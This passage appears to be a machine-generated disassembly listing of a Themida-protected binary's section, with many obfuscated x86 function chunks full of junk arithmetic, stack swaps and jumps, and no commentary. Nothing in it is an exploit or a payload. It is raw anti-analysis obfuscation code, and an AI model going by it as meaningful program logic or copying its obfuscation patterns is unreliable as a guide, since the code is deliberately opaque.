[esp-8+arg_4] mov eax, [esp-4+arg_0] add esp, 4 push ebp mov ebp, esp jmp loc_574AFF ; END OF FUNCTION CHUNK FOR sub_56616D ; =============== S U B R O U T I N E ======================================= sub_56E7C8 proc near ; DATA XREF: Themida_:0055FE30o push dword ptr [edi+1Ch] popf pop ax adc [esp+0], al pushf jmp loc_55FF9F sub_56E7C8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AEF2 loc_56E7D7: ; CODE XREF: sub_56AEF2+A56Ej add bl, 0B4h push eax mov ah, 2Fh shr ah, 8 jmp loc_568AF8 ; END OF FUNCTION CHUNK FOR sub_56AEF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566DFE loc_56E7E5: ; CODE XREF: sub_566DFE+BA67j mov eax, 24EF0002h add edi, eax pop eax jmp loc_56D4EA ; END OF FUNCTION CHUNK FOR sub_566DFE ; --------------------------------------------------------------------------- loc_56E7F2: ; CODE XREF: Themida_:0056C90Bj sub ecx, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp mov [esp], ebx mov ebx, 3D1F134Dh jmp loc_5723EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5653AD loc_56E80F: ; CODE XREF: sub_5653AD+6A37j xor ebx, [esp-4+arg_0] xor [esp-4+arg_0], ebx xor ebx, [esp-4+arg_0] mov esp, [esp-4+arg_0] add esp, 4 jmp loc_568A1C ; END OF FUNCTION CHUNK FOR sub_5653AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FA15 loc_56E826: ; CODE XREF: sub_56FA15-2864j add ecx, 4 xchg ecx, [esp+14h+var_14] jmp loc_5747A5 ; END OF FUNCTION CHUNK FOR sub_56FA15 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AEF2 loc_56E831: ; CODE XREF: sub_56AEF2+55D3j pop ebx add dl, 77h push ebx mov bh, dl mov ah, bh pop ebx jmp loc_5719C1 ; END OF FUNCTION CHUNK FOR sub_56AEF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5687A3 loc_56E840: ; CODE XREF: sub_5687A3+3C8j add esp, 4 jmp loc_56277D ; END OF FUNCTION CHUNK FOR sub_5687A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569D5F loc_56E848: ; CODE XREF: sub_569D5F+D52j add esp, 2 add al, 19h jmp sub_56A7FB ; END OF FUNCTION CHUNK FOR sub_569D5F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_56E855: ; CODE XREF: sub_57354D-DC6Ej sub esi, 4 xchg esi, [esp+0Ch+var_C] pop esp mov [esp+8+var_8], edx mov edx, 30ED5BB9h sub edx, 29EC4BE5h and edx, 480A0921h sub edx, 34427230h jmp loc_5645FA ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56616D loc_56E87B: ; CODE XREF: sub_56616D+40B7j sub [esp-0Ch+arg_C], ebx mov ebx, [esp-0Ch+arg_8] add esp, 4 jmp loc_56C5F8 ; END OF FUNCTION CHUNK FOR sub_56616D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F3B2 loc_56E88D: ; CODE XREF: sub_56F3B2-145Ej pop ecx xchg edi, ecx push edi not [esp+10h+var_10] pop edi xchg edi, ecx sub ecx, 8EFA9931h push ecx sub [esp+10h+var_10], 32530D00h pop esi add esi, 32530D00h pop ecx add edi, esi mov esi, [esp+8+var_8] add esp, 4 push edi push [esp+8+var_4] mov edi, [esp+0Ch+var_C] add esp, 4 jmp loc_5651F2 ; END OF FUNCTION CHUNK FOR sub_56F3B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563A7F loc_56E8C8: ; CODE XREF: sub_563A7F+11545j add edi, 1C706EF9h add edi, ecx push edx jmp loc_56C862 ; END OF FUNCTION CHUNK FOR sub_563A7F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5684A6 loc_56E8D6: ; CODE XREF: sub_5684A6+9957j sub esi, edx pop edx jmp loc_56D54C ; END OF FUNCTION CHUNK FOR sub_5684A6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561541 loc_56E8DE: ; CODE XREF: sub_561541+2C0j mov esp, [esp+0Ch+var_C] and ecx, ebx push [esp-8+arg_4] pop ebx sub esp, 4 mov [esp-4+arg_0], eax mov eax, esp push edi jmp sub_56925C ; END OF FUNCTION CHUNK FOR sub_561541 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5747D7 loc_56E8F5: ; CODE XREF: sub_5747D7-B82Cj xor [esp+0], ebx xor ebx, [esp+0] pop esp mov [esp-4+arg_0], ebx push eax push 0FF373F7h jmp loc_565A40 ; END OF FUNCTION CHUNK FOR sub_5747D7 ; =============== S U B R O U T I N E ======================================= sub_56E90A proc near ; DATA XREF: Themida_:0055FCF0o var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005625DE SIZE 00000010 BYTES mov cx, [esp+0] sub esp, 4 jmp loc_5625DE sub_56E90A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569193 loc_56E916: ; CODE XREF: sub_569193-261Fj mov edi, 4 jmp loc_574185 ; END OF FUNCTION CHUNK FOR sub_569193 ; --------------------------------------------------------------------------- loc_56E920: ; CODE XREF: Themida_:0056C23Cj add esp, 4 jmp loc_567065 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D855 loc_56E928: ; CODE XREF: sub_56D855-A0Cj jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_56D855 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56264C loc_56E92D: ; CODE XREF: sub_56264C+8C73j mov ebx, 7A9262E3h sub eax, ebx push [esp+4+var_4] jmp loc_571F8A ; END OF FUNCTION CHUNK FOR sub_56264C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5681F5 loc_56E93C: ; CODE XREF: sub_5681F5-3D50j xchg edx, [esp+0Ch+var_C] mov esp, [esp+0Ch+var_C] add eax, ebx mov ebx, [esp+4+var_4] add esp, 4 sub eax, 78772F70h jmp loc_55FFF4 ; END OF FUNCTION CHUNK FOR sub_5681F5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B11B loc_56E957: ; CODE XREF: sub_56B11B+389Ej add ebx, 4 push eax mov eax, 4 jmp loc_568956 ; END OF FUNCTION CHUNK FOR sub_56B11B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564020 loc_56E968: ; CODE XREF: sub_564020+C3A8j jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_564020 ; =============== S U B R O U T I N E ======================================= sub_56E96D proc near ; DATA XREF: Themida_:0055FD44o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = word ptr 4 ; FUNCTION CHUNK AT 00563B44 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005688D9 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00568E67 SIZE 00000032 BYTES ; FUNCTION CHUNK AT 0056A170 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056C4F3 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056C824 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0056D361 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056EE8A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0057022E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00570442 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00570C89 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00573211 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00573AA8 SIZE 00000017 BYTES mov ax, [esp+0] push 59EDh mov [esp+4+var_4], ebp sub esp, 4 push esp jmp loc_563B44 sub_56E96D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560056 loc_56E982: ; CODE XREF: sub_560056+B0F7j pop edx jmp loc_565023 ; END OF FUNCTION CHUNK FOR sub_560056 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_56E988: ; CODE XREF: sub_564D26+89D6j push edi push edx mov edx, 0DA27F7Eh add [esp+1Ch+var_18], edx jmp loc_567284 ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C295 loc_56E998: ; CODE XREF: sub_56C295-BAF0j pop ebp push ebp push eax jmp loc_563340 ; END OF FUNCTION CHUNK FOR sub_56C295 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5684A6 loc_56E9A0: ; CODE XREF: sub_5684A6-31AEj mov ebx, 10480F8Bh neg ebx add ebx, 0CED4977Ah sub ecx, ebx pop ebx add esi, ecx jmp loc_56D78D ; END OF FUNCTION CHUNK FOR sub_5684A6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B11B loc_56E9B7: ; CODE XREF: sub_56B11B-70D6j mov ebx, esp jmp loc_56E957 ; END OF FUNCTION CHUNK FOR sub_56B11B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AB5E loc_56E9BE: ; CODE XREF: sub_56AB5E+BA5j pop ecx xor ecx, 3F965A37h add eax, ecx pop ecx sub eax, 186F6023h jmp loc_56EAA5 ; END OF FUNCTION CHUNK FOR sub_56AB5E ; --------------------------------------------------------------------------- loc_56E9D2: ; DATA XREF: Themida_:0055FCC8o mov cx, [esp] sub esp, 4 mov [esp], ecx push esp push dword ptr [esp] pop ecx add esp, 4 push 1BD5h mov [esp], ebp push eax push ebp jmp loc_570437 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C83E loc_56E9F6: ; CODE XREF: sub_56C83E+6812j sub edx, 0CC19DC95h add ebx, edx pop edx inc ebx jmp loc_574D66 ; END OF FUNCTION CHUNK FOR sub_56C83E ; --------------------------------------------------------------------------- loc_56EA05: ; CODE XREF: Themida_:0056FF69j mov edi, esi mov ecx, edi pop edi mov esi, [esp] jmp loc_56FB95 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_56EA12: ; CODE XREF: sub_57354D-10758j mov esp, [esp+0] jmp loc_567CB7 ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564BC5 loc_56EA1A: ; CODE XREF: sub_564BC5+54D7j add edi, 4 xchg edi, [esp+4+var_4] pop esp xor bl, al movzx eax, al jmp loc_56A79A ; END OF FUNCTION CHUNK FOR sub_564BC5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D855 loc_56EA2E: ; CODE XREF: sub_56D855-8F94j push eax mov eax, 0B36360Ch shr eax, 1 neg eax not eax add eax, 8463405h not eax add eax, 0DE14F0Fh jmp loc_5721C6 ; END OF FUNCTION CHUNK FOR sub_56D855 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5605BC loc_56EA4B: ; CODE XREF: sub_5605BC-103j mov edx, esp add edx, 4 push edi push ecx mov ecx, 1F2453FBh jmp loc_56CF1B ; END OF FUNCTION CHUNK FOR sub_5605BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574FC9 loc_56EA5F: ; CODE XREF: sub_574FC9-7931j pop esp mov [esp+0], ebx push esi mov esi, esp add esi, 4 sub esi, 4 xor esi, [esp+4+var_4] xor [esp+4+var_4], esi xor esi, [esp+4+var_4] pop esp mov [esp+0], esp jmp loc_5706C5 ; END OF FUNCTION CHUNK FOR sub_574FC9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_56EA81: ; CODE XREF: sub_5678CB+A15j push 2CEAh mov [esp+8+var_A+2], ebx mov ebx, esp add ebx, 4 sub ebx, 4 push ebx push [esp+0Ch+var_A+2] pop ebx pop [esp+0Ch+var_E+2] jmp loc_565DF8 ; END OF FUNCTION CHUNK FOR sub_5678CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AB5E loc_56EAA5: ; CODE XREF: sub_56AB5E+3E6Fj add eax, ebx push esi jmp loc_563A29 ; END OF FUNCTION CHUNK FOR sub_56AB5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5747FA loc_56EAAD: ; CODE XREF: sub_5747FA-649Fj mov esi, 5D8C668Fh xor esi, 533630F3h mov ecx, esi jmp loc_5752C4 ; END OF FUNCTION CHUNK FOR sub_5747FA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D3AF loc_56EABF: ; CODE XREF: sub_56D3AF+3j mov eax, [esp+4+var_4] add esp, 4 jmp loc_564F99 ; END OF FUNCTION CHUNK FOR sub_56D3AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56ADD8 loc_56EACA: ; CODE XREF: sub_56ADD8+12j pop ebx mov ecx, [esp+0] jmp sub_56A61D ; END OF FUNCTION CHUNK FOR sub_56ADD8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E126 loc_56EAD3: ; CODE XREF: sub_56E126-A9D9j sub edi, esi jmp loc_569F8E ; END OF FUNCTION CHUNK FOR sub_56E126 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56616D loc_56EADA: ; CODE XREF: sub_56616D+7160j sub [esp-0Ch+arg_8], 1B46F62h sub [esp-0Ch+arg_8], ecx add [esp-0Ch+arg_8], 1B46F62h pop ecx jmp loc_562B49 ; END OF FUNCTION CHUNK FOR sub_56616D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56651E loc_56EAF1: ; CODE XREF: sub_56651E+5C35j mov ebx, [esp+4+var_4] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+8+var_8] pop esp sub esp, 4 mov [esp+8+var_8], ecx jmp loc_5701B8 ; END OF FUNCTION CHUNK FOR sub_56651E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574CBE loc_56EB15: ; CODE XREF: sub_574CBE-1042Fj inc eax not eax add eax, 0B4056B26h sub edi, eax pop eax mov esi, edi mov edi, [esp+14h+var_14] push edi mov edi, esp push esi mov esi, 4 add edi, esi pop esi add edi, 4 push edi push [esp+1Ch+var_18] pop edi jmp loc_56B859 ; END OF FUNCTION CHUNK FOR sub_574CBE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563A7F loc_56EB42: ; CODE XREF: sub_563A7F-258j push [esp+0Ah+var_C+2] jmp loc_56B4B6 ; END OF FUNCTION CHUNK FOR sub_563A7F ; =============== S U B R O U T I N E ======================================= sub_56EB4A proc near ; CODE XREF: sub_575420-F018j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00570378 SIZE 0000001C BYTES push ebx mov bl, 8Ch sub bl, 15h sub bl, 86h jmp loc_570378 sub_56EB4A endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574CDD loc_56EB58: ; CODE XREF: sub_574CDD-F5EDj and esi, ecx pop ecx jmp loc_56DEDD ; END OF FUNCTION CHUNK FOR sub_574CDD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571088 loc_56EB60: ; CODE XREF: sub_571088-8C45j sub al, dl jmp loc_566A1A ; END OF FUNCTION CHUNK FOR sub_571088 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570732 loc_56EB67: ; CODE XREF: sub_570732-AA2j add edx, 4 push edx jmp loc_570A32 ; END OF FUNCTION CHUNK FOR sub_570732 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5690E8 loc_56EB70: ; CODE XREF: sub_5690E8-2BF9j push edx mov edx, 3A8328CBh shl edx, 5 jmp loc_562E16 ; END OF FUNCTION CHUNK FOR sub_5690E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AEF2 loc_56EB7E: ; CODE XREF: sub_56AEF2+969Cj mov [esp-18h+arg_14], ecx jmp loc_56059D ; END OF FUNCTION CHUNK FOR sub_56AEF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AB5E loc_56EB86: ; CODE XREF: sub_56AB5E+2400j mov ebp, [esp+10h+var_10] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+14h+var_14] pop esp shr ebp, 8 or ebp, 13153AB2h shr ebp, 2 push ecx jmp loc_56CA8F ; END OF FUNCTION CHUNK FOR sub_56AB5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574287 loc_56EBAE: ; CODE XREF: sub_574287+6j add esp, 4 push 3D9h jmp loc_56EE96 ; END OF FUNCTION CHUNK FOR sub_574287 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_56EBBE: ; CODE XREF: sub_561418+6507j sub edx, 11401B12h xor edx, 3DCDEB9Ah xor ebx, edx pop edx xor ebx, 6FC50900h xor ebx, 2E7E03CBh mov edx, ebx jmp loc_57398D ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B06D loc_56EBE0: ; CODE XREF: sub_56B06D+2C68j mov eax, 72E616EAh mov edi, 72E616EEh xor edi, eax pop eax add ebp, 45781026h add ebp, edi sub ebp, 45781026h push [esp+4+var_4] pop edi add esp, 4 add ebp, 4 xor ebp, [esp+0] xor [esp+0], ebp xor ebp, [esp+0] pop esp jmp loc_56D6DD ; END OF FUNCTION CHUNK FOR sub_56B06D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5605BC loc_56EC17: ; CODE XREF: sub_5605BC+115B5j mov [esp+10h+var_10], edx mov edx, esp jmp loc_56C621 ; --------------------------------------------------------------------------- loc_56EC21: ; CODE XREF: sub_5605BC+438j push eax jmp loc_56F773 ; END OF FUNCTION CHUNK FOR sub_5605BC ; --------------------------------------------------------------------------- loc_56EC27: ; CODE XREF: Themida_:0056167Fj xor eax, 83048248h add esi, eax pop eax push 4F68h mov [esp], edi push esi push esp pop esi jmp loc_56E3E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564CDA loc_56EC3F: ; CODE XREF: sub_564CDA+A94Aj push eax jmp loc_56B111 ; END OF FUNCTION CHUNK FOR sub_564CDA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561C21 loc_56EC45: ; CODE XREF: sub_561C21+12FDDj push eax mov al, 7Fh add ch, 2Dh sub ch, al sub ch, 2Dh mov eax, [esp-4+arg_0] add esp, 4 xor ch, 62h sub ch, 0CEh and bl, ch pop ecx inc bl jmp loc_56A5D6 ; END OF FUNCTION CHUNK FOR sub_561C21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568646 loc_56EC69: ; CODE XREF: sub_568646-684Ej mov dl, 0F7h jmp sub_56AEF2 ; END OF FUNCTION CHUNK FOR sub_568646 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572669 loc_56EC70: ; CODE XREF: sub_572669-123F8j push ecx mov ecx, 1BFF5B5Bh xor [esp+4], ecx pop ecx jmp loc_567A54 ; END OF FUNCTION CHUNK FOR sub_572669 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574FC9 loc_56EC80: ; CODE XREF: sub_574FC9-4DBBj push eax mov eax, 0 sub eax, edi xchg eax, edi mov eax, [esp+4+var_4] add esp, 4 add edi, 5384760Ch add edi, 0B052717Bh add ebx, 371B6D13h jmp loc_574412 ; END OF FUNCTION CHUNK FOR sub_574FC9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569193 loc_56ECA9: ; CODE XREF: sub_569193-8B89j xchg esi, [esp+0Ch+var_C] pop esp push ecx jmp loc_5679B3 ; END OF FUNCTION CHUNK FOR sub_569193 ; --------------------------------------------------------------------------- loc_56ECB3: ; CODE XREF: Themida_:0056CB33j push ebx mov ebx, 6B074EBDh or ebx, 1B9046FAh jmp loc_562E51 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57523A loc_56ECC4: ; CODE XREF: sub_57523A-11A74j add edi, esi pop esi xchg edi, [esp+8+var_8] jmp loc_56C332 ; END OF FUNCTION CHUNK FOR sub_57523A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D69D loc_56ECCF: ; CODE XREF: sub_56D69D+34DCj mov ecx, ebx pop ebx sub eax, 2BDB4967h jmp loc_56F7B3 ; END OF FUNCTION CHUNK FOR sub_56D69D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D464 loc_56ECDC: ; CODE XREF: sub_56D464+64D0j pop esp sub esp, 4 mov [esp+8+var_8], esi push esp jmp loc_573833 ; END OF FUNCTION CHUNK FOR sub_56D464 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A608 loc_56ECE9: ; CODE XREF: sub_56A608+1093j sub ecx, edx pop edx push esi mov esi, 7944186h push ebx mov ebx, 0FFFFFFFFh add esi, ebx pop ebx shr esi, 7 not esi push edx mov edx, 0FB36B518h jmp loc_56DA1C ; END OF FUNCTION CHUNK FOR sub_56A608 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_56ED0B: ; CODE XREF: sub_57354D+14FEj pop edx jmp loc_560B6F ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5620B7 loc_56ED11: ; CODE XREF: sub_5620B7-1F5Fj push edx jmp loc_56BD74 ; END OF FUNCTION CHUNK FOR sub_5620B7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568646 loc_56ED17: ; CODE XREF: sub_568646-19F6j neg dl shl dl, 5 push ax mov al, 6Eh and dl, al mov ax, [esp+0] add esp, 2 and dl, 0F0h push ecx mov cl, 0D7h dec cl add cl, 0F0h xor cl, 0B6h sub dl, cl pop ecx jmp loc_56DE64 ; END OF FUNCTION CHUNK FOR sub_568646 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574656 loc_56ED3F: ; CODE XREF: sub_574656-6E26j mov esp, [esp+0] jmp loc_56D1BD ; END OF FUNCTION CHUNK FOR sub_574656 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57549C loc_56ED47: ; CODE XREF: sub_57549C-138F3j pop edx add edx, 4 jmp loc_57048F ; END OF FUNCTION CHUNK FOR sub_57549C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FB8A loc_56ED53: ; CODE XREF: sub_56FB8A-C472j push ecx push esp mov ecx, [esp+0Ch+var_C] add esp, 4 push edx jmp loc_56EE5F ; END OF FUNCTION CHUNK FOR sub_56FB8A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574A21 loc_56ED61: ; CODE XREF: sub_574A21-BD61j or ebp, 1FDD1A94h inc ebp sub ebp, 1DBB0ECBh or ebp, 27021036h push ecx mov ecx, 3C682D29h xor ebp, ecx jmp loc_5688F7 ; END OF FUNCTION CHUNK FOR sub_574A21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56638C loc_56ED81: ; CODE XREF: sub_56638C+E658j push esi sub esp, 4 mov [esp+14h+var_14], ebx mov ebx, 296D7EB0h inc ebx xor ebx, 33254014h mov esi, ebx pop ebx push esi not [esp+14h+var_14] mov esi, [esp+14h+var_14] add esp, 4 or esi, 2DB9057Ch sub esi, 0EDBFC57Ah add edx, 1E6F7547h add edx, esi sub edx, 1E6F7547h push [esp+10h+var_10] pop esi add esp, 4 jmp loc_56A03E ; END OF FUNCTION CHUNK FOR sub_56638C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5680F2 loc_56EDD0: ; CODE XREF: sub_5680F2-3CAEj mov ebx, 77CD10D4h neg ebx xor ebx, 43217E9Bh push ecx jmp loc_56B01A ; END OF FUNCTION CHUNK FOR sub_5680F2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56241E loc_56EDE3: ; CODE XREF: sub_56241E+103C3j sub cx, 59BAh sub cx, 34A8h sub cx, di add cx, 34A8h add cx, 59BAh mov edi, [esp+0Ch+var_C] jmp loc_561040 ; END OF FUNCTION CHUNK FOR sub_56241E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_56EE02: ; CODE XREF: sub_564D26-49ECj mov [esp+10h+var_10], ebx push esi mov esi, 1E445232h mov ebx, esi pop esi shr ebx, 7 push ebp jmp loc_56363F ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560EA2 loc_56EE17: ; CODE XREF: sub_560EA2+134EFj pop edi add edi, 1BA44ACBh push edi pop ebp pop edi shl ebp, 6 inc ebp push eax jmp loc_571792 ; END OF FUNCTION CHUNK FOR sub_560EA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57549C loc_56EE2B: ; CODE XREF: sub_57549C-54A2j xchg edi, [esp+8+var_8] pop esp add eax, 616D370Eh sub eax, ebx sub eax, 616D370Eh push edi push 3737h jmp loc_567577 ; END OF FUNCTION CHUNK FOR sub_57549C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_56EE46: ; CODE XREF: sub_561418+13657j shl ecx, 3 jmp loc_569010 ; --------------------------------------------------------------------------- loc_56EE4E: ; CODE XREF: sub_561418+10A74j mov ebp, [esp-4+arg_0] push esi mov esi, esp add esi, 4 jmp loc_56731E ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FB8A loc_56EE5F: ; CODE XREF: sub_56FB8A-E2Ej mov edx, 73AB218Eh jmp loc_56CDBD ; END OF FUNCTION CHUNK FOR sub_56FB8A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571088 loc_56EE69: ; CODE XREF: sub_571088+20CBj mov edx, 4 add esi, edx pop edx add esi, 4 xchg esi, [esp-0Ch+arg_8] pop esp sub bl, al push small 566Fh mov word ptr [esp-0Eh+arg_8+2], cx jmp loc_56F395 ; END OF FUNCTION CHUNK FOR sub_571088 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E96D loc_56EE8A: ; CODE XREF: sub_56E96D-2134j jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_56E96D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566117 loc_56EE8F: ; CODE XREF: sub_566117+203Dj xor ebp, eax jmp loc_5613B0 ; END OF FUNCTION CHUNK FOR sub_566117 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574287 loc_56EE96: ; CODE XREF: sub_574287-56CEj mov [esp+4+var_4], ebp push esp jmp loc_5678A4 ; END OF FUNCTION CHUNK FOR sub_574287 ; =============== S U B R O U T I N E ======================================= sub_56EE9F proc near ; DATA XREF: Themida_:0055FE08o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0056016B SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00560804 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00561279 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00562381 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005627A1 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00563B75 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 00564BB3 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00564C68 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056897E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056AD87 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056C65D SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056CCF4 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056DBC3 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00571597 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00572930 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00575121 SIZE 00000011 BYTES push 3382h mov [esp+4+var_4], ebp mov ebp, 2B5A6F22h push eax push ebx jmp loc_56CCF4 sub_56EE9F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57146D loc_56EEB3: ; CODE XREF: sub_57146D+B65j add esp, 2 jmp loc_56D85F ; END OF FUNCTION CHUNK FOR sub_57146D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574CBE loc_56EEBE: ; CODE XREF: sub_574CBE-A389j add eax, 7831597Dh push edx mov edx, 52C87268h jmp loc_572639 ; END OF FUNCTION CHUNK FOR sub_574CBE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5662F9 loc_56EECE: ; CODE XREF: sub_5662F9+53j add ecx, ebp mov ebp, [esp+8+var_8] push 0EB7h mov [esp+0Ch+var_C], esi mov esi, esp push 14F0h jmp loc_56BB6B ; END OF FUNCTION CHUNK FOR sub_5662F9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566B79 